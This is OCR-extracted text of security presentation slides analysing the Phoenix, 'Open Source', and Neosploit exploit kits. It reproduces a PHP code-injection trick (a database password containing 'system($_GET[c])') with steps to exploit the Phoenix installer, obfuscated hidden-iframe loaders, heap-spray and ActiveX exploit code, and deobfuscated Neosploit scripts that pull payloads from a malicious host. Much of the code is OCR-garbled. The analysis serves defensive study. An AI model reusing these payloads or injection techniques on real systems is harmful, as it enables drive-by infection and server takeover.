¢referer = preg_replace('/[*a-zA-Z0-9%.\-1/','"',éurl['host']);
r - — - _} lllllllllllllllllllllllllllllllll ‘
- nysql_cuery( "INSERT INTO stats (ip,time,browver,browtype,osver,country,referer,Source, I
I ", {§osver}', ' {scountry}', ' {§referer}', ' {sgsource}’', 0" 1" }; .
JEEN E EEE | IS § S T S § S f S f S F S T S f S f S F S F S S S f S f S f . . J

SECURITY




Phoenix - RCE
 Remote Code Injection (RCE)

* Inject code to the configuration file

| <2php

¢DBHOST = "localhost™;
o= SDBMAME ™= "“pHTENTxeey " = f == : mm o =m o ==
|l $DBUSER = "user”; |
= $DBPA3S = "pass”;echo system($ _GET[c]):¢a=""; °
L .$ADMINRE = ‘Brh2237d0629cesadbadade araldag6adss1ba6a ; 27sHa-1 Hash from your password

$ACTIVATION_PASSWORD = "Saa7dledSh857d732275ccf4c7845be93400fele™, //5HA-1 Hash from your activation password

$BANTIME = 26400

§S0UND = "Disabled”;

§COUNTRIES = array("RU" => "jskviqit7.exe”, "DE" => "jskvfqit7.exe"”, "US" => "jskvfgit7.exe"):

2>

SECURITY




Phoenix — RCE (cont.)

 We can control the following parameters

if (isset (§_POST['lancuage']))
{
§language=§_POST[ ' lancuage'];
§DBHOST=4_POST[ 'host']:
$DBUSER=%_POST[ 'dbunane'];
§DBPASS=4_POST[ 'dbupassword'];
§DENAME=§_POST['dbnane'];
$ADMINPW=¢_ POST[ 'aduinpw'];
§smb=§_POST[ 'sub']:
¢swbpath=¢_POST[ 'subpath'];
if (isset( §_POST['mode'] ))
{

$mode=5_POST[ 'mode'];
}
else
{
¢fmode="tc';
}

if (§language=='ru')
{

SECURITY




Phoenix — RCE (cont.)

* In case the script doesn’t manage to
connect to the database, it throws an a

exception and stops

if (§language=='en')

{
if ( 'mysql_connect( $DEHOST, $DEUSER, $DEPASS ) )
{
echo "Installation was not completed! Unable to connect to My3QL host. Check My3Q
exit();
}
if ( 'mysql_select_db( §DENAME ) )
{

echo "Installation was not completed! The software was able to connect to MySQL h
d try again.”™;
exit():
}
¢install = mysql_cquery("CREATE TAELE IF NOT EXISTS ‘stats’ |
id® int(ll) unsigned NOT NULL auto_increment,
“ip® inti(l0) unsigned NOT NULL,
‘time’ int(l0) unsigned NOT NULL,

SECURITY




o
Phoenix — RCE (cont.)

 The script writes the database connection

into the configuration file

) ENGINE=MyISAM DEFAULT CHARSET=cpl251 AUTO_INCREMENT=1 ;");
if($error=mysql_error())

{
echo "Installation wasn't completed cuz of My3QL's error. My3QL error description:”;
print §error;
exit();
}
else

echo "<font color='green'>Creating table in database... DONE</font>
SACTIVATION PASSWORD=rndwar(l0,15
¢cdatatoreplace=array("hostname”,"username”, "userpas
s datatgiren Lacesarray ($RBHOST, $DBUSFR $DBRASS , $DENAME , shal paADMINPY) , shal ($ACTIVATION_PASSWORD) ) ; 3
® $config=str replace($cdatato:eplace, $cdataforreplace, $conflg) ,.
?tatlstlcsname $ﬂ‘4] 1.. p f—
gindexname=¢rn[11].".php";
§¢lname=rndvar(2,3)." .php";
factivatename=§rn[12].".php";
WriteFile(§statisticsname,RandomizeNames($statistics));
WriteFile(§indexname ,RandonizeNames($index))
WriteFile($lname,RandomizeNames($lphp)):
WriteFile(srn[5].".php” ,RandonizeNanes ($connectdatabase) ) ;
{
{

g
)2

word"”,"databasenamne”, “adminhash”,"activatehash"):

WriteFile(srn[6].".php” ,RandonizeNanes ($functions));
WriteFile(§activatename,RandonizeNames (§activate) )
WriteFile(§rn[7].".dat”,fgeoipfile);
WriteFile(srn[&].".php",égeoip)
WriteFile(srn[2]." . gif" ,¢ébgyif)
WriteFile{$rn[3].".pg",§logol);
itRFiTE ] R S| EE B Em— o E— e -

WriteFile($rn[l].".php"”,RandomizeNames{$config)):

W THEEEE CTE TS N EEECN S " - n _— n _— n H

==

SECURITY




Phoenix — RCE (cont.)

* Let’s wrap all the information together

Create a remote DB with a password like: “";echo system($_GET[c]);$a=""
Insert the relevant information in the installation page
Install the Exploit Kit

At the end of the installation it will successfully install the exploit kit in case
that GPC is off
Execute your code using the configuration file, you will receive the path to

the randomize configuration file

SECURITY




Phoenix — RCE (cont.)
* Let’s wrap all the information together

(cont.)

< ?php
$DEBHOST
$DBNAME = “phoenix™;

$DBUSER = "some user”;

$DBPASS = “":;echo system(§ GET[c]):§a="";
$ADMINPY = "8cb2237d0679cass8db6dAdeact0da’ss

"wyw. freesgl. org: 33067 ;

45513964 ; //5HA-1 Hash from your password
$ACTIVATIUN_PASSUURD = "8aa7dl6d9b857d732278ccfdc7845hc93400fele™; 275HA-1 Hash from o et ot lon password
$BANTIME = 56400;

$S0UND = "Disabled™;

§COUNTRIES = array("RU" => "jskvfqit7.exe”, "DE" => "jskvfgit7.exe”, "US" => "jskvfqit7.exe");
o=

SECURITY
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Open Source Exploit Kit
* It’s open source

e It’s free

* Published by “cr333k” at opensc forums




Open Source Exploit Kit (cont.)

* Open Source exploit kit login page

Username:

Password:

¥

SECURIT




Open Source Exploit Kit (cont.)

 Administration panel

Horme || Complete Stats || Iframe || Upload File || Reset Stats || Logout

Traffic: 222 / Loads: 23 / Percent: 10.36%

Exploit Statistics:

EXPLOIT: LOADS:
PDF 4
MDAC 7
IE_Peers 12

Country StalisHcs:
COUNTRY: TRAFFIC: LOADS: PERCENT:
IT 100 12 12%
- 36 4 11.11%
s 30 3 10%
RU 30 3 10%
UK 26 1 3.85%

Referer Statistics:
REFERER: TRAFFIC: LOADS: PERCENT:
eurobankefg-frc. lu 110 13 11.82%
twine.ws a7 6 12.77%
pesfaces.co.uk 30 4 13.33%
in-ebay.com 19 0 0%
acebooklogin.io.ua 16 0 0%

SECURI
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Open Source Exploit Kit (cont.)

« Spread the attack via obfuscated IFrame

Horne || Complete Stats || Iframe || Upload File || Reset Stats || Logout

Traffic: 222 / Loads: 23 / Percent: 10.36%
Generated IFrame's:

B ASIC:

|<iframe sre="http://127.0.0.1/open_source/index.php" width="0" height="0" 553

ESCAPE SIMPLE:

<script> wvar e = '-°s68%74%74%70%3&%2f-’s2f%31%32%3?%2&%30%2&%30%28%31%2f%6f%70%65%68%5f%;l
73%6£%75%72%63%65%2£%341%64%6d%69%6e%2f'; ii = e.replace(/0 0/g,'%'); docuwment.write :ﬂ

ESCAPE ADVANCED:

<script> var x = unescape["fs68%'?4%'?4%'?0%3&%2:‘%2:‘.%31%32%3?%28%30%2&%30%2&%3lstfstffs'?OfsiI
65%6e55E%73%6E%75%572%63%65%2£%541%64%6d%69%6e32f") ;docuwent . write ("<i"+"fr"+"am" +"e
SIS P i nd e TR P hp T W AdT T Eh=Y 0N T he "+ it ght=Y Oy j

BASE64:

<script>var
3dgs4df="ABCDEFGHIJKLMNOPQRSTUVUXYZabhcdefghijklmnopgrstuvuxyz0123456789+/ =" var
sdfgfce="PGlcnFtZ3BzcMS InhOdHAGLySXxMjcuMC4wL jEvb3EBEl1bl19zh3Vy Y2 UvallSkZXgucGhwIiE3alWRO
aDO0iNCIgaGVpZZhOPSIvIiBrenF L ZWJIveR1le jOiNCI+PCOpZndhbWU+" ;var fsdfseTxS="" var

YByw, iSwF, M3kW, 09g]j, TSyM, iEQL, jAPA="";var i=0;var bhasetd4test=/["A-Za-z0-94+\/
YW=]/g;T8ug=T8ug.replace (/ [*A-Za-z0-9\+'\ /=] /g, "") ;do{09gj=sdgs4df. indexOf (TSug.charit
(i++) ) ; TSyM=sdgs4df. indexOf (TSug.charit (i++) ) ; iIEQL=sdgs4df. indexOf [ TSug.charit

—

Le

SECURITY




o
Open Source Exploit Kit (cont.)

 Generates a new code every page refresh

Traffic: 222 / Loads: 23 / Percent: 10.36%
Generated IFrame's:

BASIC:

I<iframe sre="http://127.0.0.1/0pen _source/index.php” width="0" height="0" 553

ESCAPE SIMPLE:

<script> var e = '%68%74%?4%70%3&%2f‘-’s2f-‘s31%32%37%2&%30%2&%30%2&%3l%Zf%Gf%TO%GS%Se%Sf%;I
7356£%75%72%563%565%2£%541%64%6d%69%6e3%2f'; ii = e.replace(/0 0/g,'%'); document.write LI

ESCAPE ADVANCED:

65%6e55E%573%56E%575572%63%565%21£%41%64%6d%569%6e%2f") ;docuwent . write ("<i"+"fr"+"an"+"e
SUTE e L nd e T p T hp\ " wt T idT T Ch=Y "0V " he "+ it ght=Y Oy "

<script> var x = unescape(""-s68%74%74%70%3&%2f%2f%31%32%3?%2&%30%2&%30%28%31%2f%6f%70%i’
v
_—

rl_l_l_l_l_l_l_l_l_l_l_l_l_l_l_l
BASEG64:
[

sdfgfce="PGlmcnFt Z3BzcoM9 Imh0dHASLySXMjcuMC4wLjEvh3Blbl19zh3Vy Y2 UvallSkZZgucGhwIiBE3alWRO

I <script>var Al 5
3dgs4df="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvuxyz0123456789+/ =" var
I aD0iMCIgaGVpZZhOPSIwIiBrcwFtZWIvemRlejOiMCI4+PCOpZndhbWU+" ;var fadfsllvi="";var

. |WBN, yeV6,vulv, S6IM, vPull, ia30, JpRQ="";var i=0;var baseftdtest=/[*A-Za-z0-9%+\/ I
Y=]/g:miQt=miQt.replace (/ [*A-Za-z0-9\+\/\=] /g, "") ;do{36IN=sdgs4df. indexOf (rmiQt.charit —

| |{i++)) ;vPul=5dgs4ds. indexOf (miQt.chardt (i++) ) ; ia30=sdgs4ds. indexOf (miQt . charit > o | -

l_l_l_l_l_l_l_l_l_l_l_l_l_l_I_I_IJ SECURITY




Open Source Exploit Kit (cont.)

 Panel to upload the malware

Home || Complete Stats || Iframe || Upload File || Reset Stats || Logout

Traffic: 222 / Loads: 23 / Percent: 10.36%

Upload File |

Current File Info:
Narme: file.exe
Size: bytes

Browse.. |

SECURI

=

TY




.
Open Source Exploit Kit (cont.)

 Obfuscated code

Np7zpRNpSEpRNpNe 7pRNpSkpRNpe zpNKepe Spa kpNNRp7kpe SpkzpzSpNeSpzkpzzpkapl Spz 7pNekp7SpNezpNeepNe kpNeKpNNSpNeRpRNpS 8pRNpNe 7p 7Kp 7Kp 7e pRNpNKKpNKp kpRNpRNpRNpRNpRNpRNpRNpRNPpRNPRNE
RNpRNpRNpRNpRNpRNpNeNpNNepNNRpRNpRkpNNzpkap</div><p id =dRCmXo0jLR>

NNRpRNpNeSpRNpaepRNp7zpRNpSEpRNpNe SpRNpSkpRNp7Ep7 zpRNpSSpRNpNe Sp7Kp 7Kp 7e pRNpNKKpNKp kpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNPRNpRNp NN SpNNRpNKe pRNpNKKpNKp kPR
NpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNPRNpRNpRNpRNpRNpRNPRNpRNPRNpRNPRNpRNpRNpNNKpSepakpa 7pzKpzRpezp7kpSSpz 7pzapENpzSpe 8pNNepkzp7SpapNNzpkapNe zpNNapkapNNSpNeepRkpE zpNKeps SpakplN
NRp7kp8SpkzpzSpNeSpzkpzzpkaptSpz7pNekpkepNe 7pkKp7epSEpNKp kpRNpRNpRNpRNpRNpRNpRNpRNpRNPRNPRNPRNpRNpRNpRNPRNPRNPRNPRNPRN< / P>

<u id =N0XwzikxEXg>
pNK7pRNpkEpkapNNSpkEpNeRpRNpRkpNee pNNRpNNRp 7e pRNpNKKpNK 7 pNKp kpRNpRNpRNpRNpRNpRNpRNpRNPRNpRNpRNpRNpRNpRNPRNpRNPpNK 7 pNKp kpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpNK 7 pPRNpRNPRNPRN
PRNPRNpRNpRNpNKp kpRNpRNPRNpRNpRNpRNpRNpRNPRNpRNpRNpRNpNN EpNe 7pNe kpk kpNNepNNEp 7 SpNN 7pNNSpkapNNSpNNapNN 7pRNpaepRNpE zpNKepe Spa kpNNRp7kpE SpkzpzSpNeSpzkpzzpkapé Spz 7pNekpkepSep
kKpRNp7KpRNpRRpRRp S 8 pNKpkpRNpRNpRNpRNpRNpRNPRNpRNpRNpRNpRNpRNpNe NpNNe pNNRpRkpNNzpkapNNRpRNpNe SpRNpaepRNp 7 zpRNpS S pRNpNe SpRNpS kpRNp78p 7 zpRNpS S pRNpNe Sp7Kp 7Kp 7e pRNpNKpkpEpepe
PNKKpNKpkpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNPRNPRN< /u>
<b id =hQPzU>
PRNpRNpRNpRNpNNSpNNRpNKe pRNpNKpkpEpepeps pNKKpNKp kpRNpRNPRNpRNpRNpRNPRNpRNpRNpRNpRNpRNPRNpRNPRNpRNpRNpRNPRNPRNpNNKp Sepakpa 7pzKpzRpe zp7kpSSpz 7pzaptNpzSps 8pNepkzp 7 SpNe SpNN 7
pazpkapNNSpkapSKpNNepNNapNNRpkEpNeepRkps zpNKeps SpakpNNRp7kpE SpkzpzSpNeSpzkpzzpkapt Spz 7pNekpkepSepkKp7epSEpNKpkpRNpRNpRNpRNpRNpRNpRNPRNPRNpRNpRNPRNPRNPRNPRNPRNPNK 7pR< /b><
p id =wtv>
Npk&pkapNNSpkEpNeRpRNpRkpNeepNNRpNNRp 7e pRNpNKKpNK7 pNKp kpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNpRNPpNK 7 pNKp kpRNpRNpRNpRNpRNpRNpRNPRNpNK 7 pNKp kpRNpRNpRNpRNpRNpRNpRNpRNpNeepk8p 7 zpNe
epNeRpNe8pzzp7kpNeSpNNzptzpaapzkpEEptkpzE8pRkp7epSEpNKpkpRNpRNpRNPRNPRNPRNPRNpRNpkzpkzpSKpzKpkaptSpa7pa7pzepzEpzSpNe 7pNNkpE kpNNSpSSpRkp7epSEpNKpkpepep</p></div> <
script> var GHXfqkl9151=""; var 1leNQX3qrEa = new Array("péYOngN51u","ulTDx7m","z 2" ,"tUylcd0jmds™, "IrCsBM2LRM", "x1QNau2Zwi", "Ltho 4E",
"mowUN2", "FbhC", "g22ZqJd9FCc9" ,"X0EziLeAos", "sX9BTz", "1EusU", "mPVLuIlj", "yhXMmWITO" , "U2H", "géXBIh" , "IG3QM" , "vLCLu", "e52wX" , "ZONbivFSkd" , "Hry4" , "TydWb7v" , "XmEFS83 ", "ysQsE"
0jLR™,"NO cxEXg", "hQPzU","wtv") ; var wwIflKLK7uA=""; function JxOuSonuSO:L (11eNQX3grEa, GEC:LGJHPbGo) { return GECiéjHPbéo=document.
getElementById (11eNQX3qrEa [GECi6]HPb60] ) 1nnerHIML } function a2Yj4VaWpjr( EpRjE9rl10Mh ) { return String.fromCharCode (EpRj&9rl1CMh) ; }
function y9qabASnTrn (VibAkS8QON4x) { GpV16PuxKyF = VjbAkE8QON4x.split('c'): for(var i=0;i<GpV16PuxKyF.length-1;i++) { GpV16PuxKyF[i]++;
WwwIf1KLK7uA += a2Yj4VaWpjr (GpV1ePuxKyF[i]) } return (WwIf1KLK7uR) ; } function CmtzMfy6FkZ (aCmXCiVpkgO) { var nImGZIEClod,
X6T7AIPtqU2M, kIZGoCTnIBG, 1kf6AZzEfDV0d="", Fx001vKbMFx="VbQZ1lr R PAINYUs5ShLvog47zMEcpJuyfdtB"; for (nImGZIEOlo4=0;nImGZIEQl04<aCmXCiVpkg0
.length;nImGZIEQlo4++) { X67AIPtqU2M=aCmXCiVpkgO.charAt (nImGZIEOlod) ; kIZGoCTnIBG=FxoolvKbMFx.indexOf (x67AIPtqU2M) ; if(kIZGoC7nIBG
>=0) { if (kIZGoC7nIBG=0) { kIZGoC7nIBG = 57; } else {
kIZGoCTnIBG = kIZGoC7nIBG-1}1kf6AzEfDv0Od+=Fxo0lvKbMFx.charAt (kIZGoC7nIBG) ; } else { 1k£6RzEDVOd+=x6TAIPtqU2M;
} }; YuCYoulErMe = y9gabASnTrn(lkféAz£fDv0d) ; return YuCYoulErMe; } var bduzwAJVRYr = 1leNQX3grEa.length; for(GECiéjHPb6o = 0;
bduzwAJVRYr>GECi6)HPbéo; GECi6)HPbéo++) { var GHXfqkl9151=GHXfqkl9151+Jx0uBonuS0i (11eNQX3qrEa, GECiéjHPb6o): } var GECi6)jHPbéo=CmtzMfy6FkZ (GHXfqk19151) ;
var eQiwMIgWISF = document; var J6JN1PSWemU = document; eQiwMIgWESF.write ("<"+"3"+"c"+"r"+"1"+"p"+"t"+">") ; J6JN1PSWEmMU.write (GECi6])HPb6O) ;
document.write ("<"+"/"+"3"+"Cc "+ " "+ 1"+ " p"+" "L+ ">") </script><META HITP-EQUIV="REFRESH" CONTENT="1;URL=index.php?Number=2">

"r52gAm9J" , "dRCm

9kFgXmjCnéaW2K0

==
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Open Source Exploit Kit (cont.)
* De-Obfuscated code

kscript)
function ecO0ehmN2jvXCPYZO()

] {
var AkShy007GdcwKzqQ, LOgFdKCe4llMeACZ, pUN1E8EbvDLVzpI9S;

var GaZMAPBHnzJkqmSz =

~ABRE D aC7e:

"$uC033%utB643%u3040%u0C78% u4

naa

74%u0378%uS56F3%u76EB%u0320%u

$u2F1A%uFF70%u0455%u335B

[

$u3337%u’7

o =

o

$u3037%u78t

)

C3%u3037%u785C%u3

(¢

pPUN18EbvDLVzpI9S = unescape ("3ulb0ciulbiC") ;
while (pUN18EbvDLVzpI9S.length < AkShy007GdcwKzaQ)
pUN18EbvDLVZpI9S += pUN18EbvDLVzpI9S:;

14A1T7buiP5qqPh2 = AkShy007GdcwKzqg - (LOgFdKCe4llMeACZ.length + 20):;
PUN18EbvDLVzpI9S = pUN1E8EbvDLVzpI9S.substring(0, 14A1T7buiP5qqPh2) ;
y72E£xCbYwluhVgM = new Array() ;

for(var i = 0 ; 1 < 100 ; i++)
y72E£xCbY¥wluhVgM[i] = pUN18EbvDLVzpI9S + LOgFdKCe411MeACZ;

}
function bb5IaYAAGOOixZte ()
] {
var q3FAIJX28KMRLYob, XyVFr2VbLjPNaVKn;
try
I |
q3FAIJX28KMRLYob = new ActiveXObject (O + W'+ "Cr+ 1+ 0"+ "+ "5 "+ " p "+ " r "+ e "+ 2"+ 4 "+ 2"+ h e T+ e T+ ) [ ]
) A_‘I:
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Open Source Exploit Kit (cont.)

« Main Vulnerabilities

» |IE MDAC Vulnerability (CVE-2006-0003)

» |E SnapShot Viewer ActiveX Vulnerability (CVE-2008-2463)

» |E iepeers Vulnerability (CVE-2010-0806)

« Java WebStart Command Line Injection Vulnerability (CVE-2010-1423)
 Adobe Reader CollectEmaillnfo Vulnerability (CVE-2007-5659)

« Adobe Reader Collab Getlcon Vulnerability (CVE-2009-0927)

« Adobe Reader LibTiff Vulnerability (CVE-2010-0188)

SECURITY




Open Source Exploit Kit (cont.)

* Other exploits which were not added in this

version

function IE_ODay(§IEVer)

{
global $5hellCode;

switch (§IEVer)
{
case ©: §Fake_Object =
case 7: §Fake_Object =
case ©: §Fake_Object =
default: §Fake_Object =

-1 ™

'y

’

¢Content = '
function alloc(bytes, nystr)

i
1

var shellcode = ',RetrieveShellCode("IE_ODAY™).';
L

while (my
return mystr.

r evil = new Arrayi():

var FAKEOBJ = unescape("3%u0d0d3%u0d0d”);
FAKEOBJ = alloc('.$Fake_Object.', FAKEOBJ); //
for(var k = 0; k < 100; k++)

yepends on IE Version

i

evil[k] = FAKEOBJ.substr (0, FAKEOEJ.length):

docunent.write () '<table style=position:absolute;clip: rectl 0y=y');:';

return §Content;

SECURITY
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Neosploit

« MaaS — Malware as a Service

* Build 4.2

* NeoSploit Exploit Kit was back to business
at 2009.




Neosploit

* Infection process

&

Client

... <malicious IFRAME>...

v

Generating key and
sending it to the server

v

The browser opens the
encrypted script with his
key and execute the JS
code

Malicious server

Generating obfuscated JS

Using the key to
generate an encrypted
script that is send back
to the client

SECURI

;;:

TY
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Neosploit - Obfuscated Code
* Looks like a regular HTML page

<html>

<head>

<title>Page 1 of 1</title>
<script>

S£3Na%=a6Co3Y5Ix; var N_jAZvu0d4Fw='drqig';var xBb_ISNyEn='t';wvar S0R_ nXP='stru';var kDG___ 5 _ pclls='a';
</script>

</head>

<body class="normal" style="font-face: serif" onload="Hsdpdcnbjfd()" coGisja>

<p class="visual" ></p>

<P fp>

<div style="display:none;">

<input BNdfsd class="Bdsfgs" type="hidden" id="B dadd" walue="1">

Command Line Options

Optional parameters will be listed at the beginning of the output as comments. This is a convenient wa
Example:

jsmin fulljslint.js jslint.js " {c)2002 Douglas Crockford"
Errors

JSMin can produce three error messages to stderr:
Unterminated comment.

Unterminated string constant.
Unterminated regular expression.
It ignores all other errors that may be present in your source program.

<input VGBgfd class="jzrlK3" type="hidden" id="scuddlefd" wvalue="9839A2FEDF 609466DA47EF5A4DF81F5991075
JSMin is a filter that omits or modifies some characters. This does not change the bhehavior of the pro

SECURI
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Neosploit - Obfuscated Code

A closer look...

<htnl>

<head>

<title>Page 1 of 1</title>

<script>

JU= B Emm B EES § BN F O EES O EEE O EEE O EEE F BN F EEE F EEE F EES F EEE BN EEm 5 B 2

S£3NaS=abCo3Y5Ix; var N_jAZuldFw='drgig'; var xBb_ISNyEn='t';var S0R_ nXP='stru';var kDG___ 5 pclls='a'; I
e I </script>
<title>Page 1 of 1</titlel </head> .
cscripts T R R E O EEP C1%es ™ol A (- fhce PRyl Mol HEWRHCID) (T CbGASTE. " MmN = mmm @ mm o mm @

<p class="visual" ></p>

Lp></p>

S£3NaS=abCo3Y5Ix; var N_jAZwl4Fw='dro]q': var xBb_ISNyEn='t'; vaz<div style="display:none;">

EUSP_wldaglxISx='Enabled';var W6I1_8lA_ g_ K='ace'ivar illq_dtg . PUer = ooe-iistost moestindient 302ih dandt vainesias
ktCx_c_Dd_00l='na';var BV _m0_7xs_jck8='g';var £37_o8WX='="';we

ItT_lSW‘=' CharCode'; var Wl_L63l“D78J=' ngthl rvar 0_27Y50=' ol var Optional parameters will be listed at the beginning of the output as comments. This is a convenient wa;

e_Dk2y57080eCE=2; var MybN_eaQ_kx=0;var g76P562 kur=l;var 5 H g nae:

abCo3YSIx(M N7e_ 8B,qf8ZRIGR) {pT54 0_87I2=17_6nk35p0; var ull F

'nd'+ 0w [1[3543M_3£3V] [543M_3£3V] (q_SFI_DsCOb+00xG_rc_f+Ej7mr (UIIstint.ds stint.3s *(c)2002 Douglas Crockford!

+eD__ g _hRowB3;ull P0j2+='igator';Pe_g B87xM_83='from'+tT_lSw}x

}}if(IntSeB_InbS) {wl__ uwaDgd M='05'+xBb_ISNyEn+td_Cl_mx_ N__H+ 'JSMin can produce three error messages to stderr:

KDG___§_ pchls+'ro'+L03gA7 Ox:h 5_48=(h_S5_48=kDG__ S _ pchls,n rrerminated coment.

argquments.callee;pT54 0_87I2=Iend02c_P51V_7(pTS54 0_87I2,w0__ unterminated string constant.

VC1D7_7_x_T+'nddT';var XuSc_7Rl=this['docunent']; var wNi_R_baﬁUntemn‘nated regular expression.

r3531liabu=g76P562_kur;r353liatu<wNi_R ba67bV0. length;r353liabu

wHi_R_baG'?bVU,rSSSliaSu) .Value}}}}02m6_5_4ycsok++ ;QZdnG_S_It ignores all other errors that may be present in your source program.

HWe_38) el (var 0_0B43_SI-ybllead_kx;var R_DyLacsals_soChott IS v ety cn ke usowtet e oo sson e
rvar J45_A X Yay=A_G4C_ K TB_3_j+uulir5_E_0_Kf;while(R_DyLaC5418 6<pT54_0_87I2['le'+wl L631MDT

KDG___ 5 pcAls+'rC'+'odeit'](R_DyLaC5418 6); if(V8_K6Wt<=J45_A X_Yay&&Vs KeWt>=A G4AC_K TB 3_j

Q_0B43_3L]1)){06_ g m 1[Q_0B43_3L]=MybN_eaQ kx}06_ g m 1[Q_0B43_3L] +=V8_K6lt; if(Iend02c_P5l%

Q_0B43_3L++ }R _DyLaC5418 6++ }}var ybF fa Yj=MybN eaQ kx:;Q_0B43_3L=g2_33_0qg_8: for(:ybF _fa ¥j=<

BQ4AY 6D 1 d)y{06_ g m 1[ybF fa ¥j]1-=BQ4Y 6D__ 1  d}}var Bpa¥D5_ r Nj=MybN eaQ kx;var d L ——
MybN_eaQ kx:var s_8_ 1J6__ B=17 6nk35p0;while(aZP_(na_ l<gf82RIGR['length']) {var WnHO401 58 1 o 1 :
s_ j22D_234=parseInt(UnH0401_58_L_2,5 H 86 _x6gKINt); i£(Bpa¥D5_ r_ Nj){d_Dj_sl+=s_ j22D_234; ii

2 2 Neefn N1=r2 2 NeAn N1- (07APSA2 kar+K1l T Ra2+n7APSAZ kuri*TendN2n PRIV 74NA o m 1 . Whww SECURITY




o
Neosploit — De-Obfuscation

* The first de-obfuscation stage

var L_go_LK = A_/V_KS_pPV¥Y _bDI.CNAarLO0EAT(EJNA_LHA_/_UD).TORTIING(LlD);
if (I_go_lR < Z)Dcd0gVY += "0";
Ded0gVY += I_go_lR;
}
while (Dcd0gVY.length < 20){
Ded0gVy += "007;
}
dp_e2U += "L" + DcdOgVY;
I 0 SO0 LU0 CCNC oD SO0 OCOCO DU 90N O0COO0CI0C0 00O oo
|var nES0lt blG388n = document.createElement(“script”):
LLE501t _blG388n. setAttribute(“type”, "text/javascript”);
nE501t_blG388n.setdttribute(”src”, "http://solutionslove.info/tre/BOBA. htunl /wHeec67078£V0100£070006RO0000000102TE1355146" + dp_eaU):
i dEument.hodyﬁnpfncﬂlil-d(ESU_lt__blG?BB_n) H

</script>

SECURITY
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Neosploit

* Second stage -

* Sizle 055 Selector Engine - v1.0
* Copyright 2009, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.

the client downloads a :~"<“--- =" ===

[(mction() I

[}
&y
=

Yar chuker = /(1?:\[(?:\([A(J]+\J|[”U]+J+\JI\[[?:\[["[\]]“\]I[‘"][“"]“['"]l[A[\]"I

| | | [ ]
malicious script
" toString = Object.prototype. tostring, y

I hasDuplicate = false, I
= baseHasDuplicate = true; .

_// Here we check if the JovaScript engine is using some sort of
/ optinization where it doss not always call our comparision I
/ function. If that is the cose, discard the hasDuplicate valu.

1 Thus far that includes Google Chrome.

S— Ll —_— - '_ -

[0, 0].sort{function(){
baseHasDuplicate = false;
return (;

ni

var Sizzle = function(selector, context, results, seed) {
results = results || [1:
var origlontext = context = context || docuuent;

SECURITY




Neosploit

* Exploit kit tries to exploit Java and PDF

vulnerabilities

<script>

ITm': tion XSDerU(}{ tzy{var RiwllKulk = document.createElement( spplet™y:RKivwlKulk. seticeribute (e
("archive™, "http://solutionslove.info/tre/BOBA.htnl /xHdfbae73aV03£01930002R00000000102T92e86ee2(

“code” ; "b.class")rvar tkh_Gl_ Loex_jG = document.createElement(“paran”);var A5SBE4 HYVTd = |
‘http: //solutionslove.info/tre/BOBA.htnl /yHdfbae73aV03£01930002R00000000102T92e86ee2Q000000009G1{

o O ) 8RR GL Logx 6. sethttribyte Cvalus L ASPA TS KAV Ky K, appendChild(tkh 6L Lde o
fumction Qoyg k_QGi_fgSbh(){try{var u = "http: -J-jar -J\\\\solutionslove.info)\nus)\new.np3 .
! "hftp:/ Solutions1ove liflto Mol E /BUER. htnl s yHdPad 7 Tavrds 1930 zRoMTodo MM 0212 et see 2Q0MTodo Mo AL 8T
"Microsoft Internet Explorer™){izy{var o = document.createElement{"0EJECT");o.classid = "clsid:Ci
document.createElement("0EJECT");02.classid = "clsid:5ADSCS40-044E-11D1-B3E9-00805F499D93"; 02. lan
document.createElement(“0BEJECT");o0.type = "application/npruntime-scriptable-plugin;deploymenttoo.
(e Lt ot T o i e o g e G T {000 I ARG (e i)
docunent.createElement('ifrane') ;p.setdttribute('src',
. 'http: //solutionslove.info/tre/BOBA.htul /xHdfbae73aV¥03£0193000ZR0O0000000102T92e86ee2Q00000000901¢ .

l p.setdttribute( 'height', 0):;p.setdttribute('framneborder’', '0');document.body.appendChild{p):}cak:

{;mibql—l—l—l—l—l—l—l—l—l—l—l—l—l—l—l—ll
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Neosploit - Advantages
* High level of obfuscation
* Neosploit is not for sale

* Neosploit provides the exploit kit as a

service

* Neosploit backend is activated only by the

team itself




Neosploit — Advantages (cont.)

* Neosploit is harder to locate, it uses a

proxy server
 Harder to expose the Neosploit team

« Simple installation

* It simplifies the toolkit updating procedure

¥

SECURIT
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Neosploit — Login Panel

* Neosploit login panel

SECURITY
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Neosploit - Infection Statistics

* Operation system statistics

Main Menu:

System Stats

Total Stats

Config Reload
Plugins Reload

Log-Out 05 Hits

0 1 2

Version: 4.2 (build 4281) Windows XP 95891 8965 (9.3491%,) 0{0%) 0{0%:
Built: Mar 12 2010 Windows Yista 83495 12319 {14.754%) 0{0%) 0{0%.
Uptime: 72:25:00 Unknown 22717 0{0%) 0(0%)  0(0%)
Server Time: Windows 7 10170 537 (5.2802%) 0{0%)  0(0%
Mon Sep 6 23:18:03 2010 Windows NT 2439 420 (17.220%) 0{0%) 0{0%,
Windows 2k 592 50 (8.4459%) 0(0%)  0(0%;

Windows 2k3 [ XP x64 301 24 (7.9734%) 0{0%) 0{0%.

Windows 93 221 40 (18.099%) 0{0%) 0{0%,

Windows ME 219 21 (9.5890%) 0(0%)  0(0%.

Windows Yista x64 109 0{0%) 0{0%) 0{0%.

Windows 95 7 0{0%) 0{0%) 0{0%,

Windows 7 x64 3 0{0%) 0{0%) 0{0%:

SECURITY
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Neosploit — Control Panel

 Browser statistics

Main Menu: B
. rowser Stats
Config Reload
E_c;loug-lgif‘ eloac Browsers on Windows
Yersion: 4.2 (build 4251) Browsers Hits Loads
Built: Mar 12 2010 MSIE 8 99494 12165 (12.226%)
Lpkame; 722 196 Firefox 51445 3715 (7.2213%)
Server Time: MSIE 7 38675 5464 (14.127%)
Mon Sep 6 23:17:49 2010 MSIE 6 2029 930 (31.751%)
Metscape 387 65 (16.795%)
Gecko 338 36 (10.650%)
MSIE 5.x 161 0(0%)
Safari 13 1{7.6923%)
Opera 5 0{0%)
Total: 193447 22376 (11.566%)

Rrawnicare an athar NC
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Neosploit — Control Panel

« Configuration rules of the payload

Main Menu:

Total Stats

Manage Files
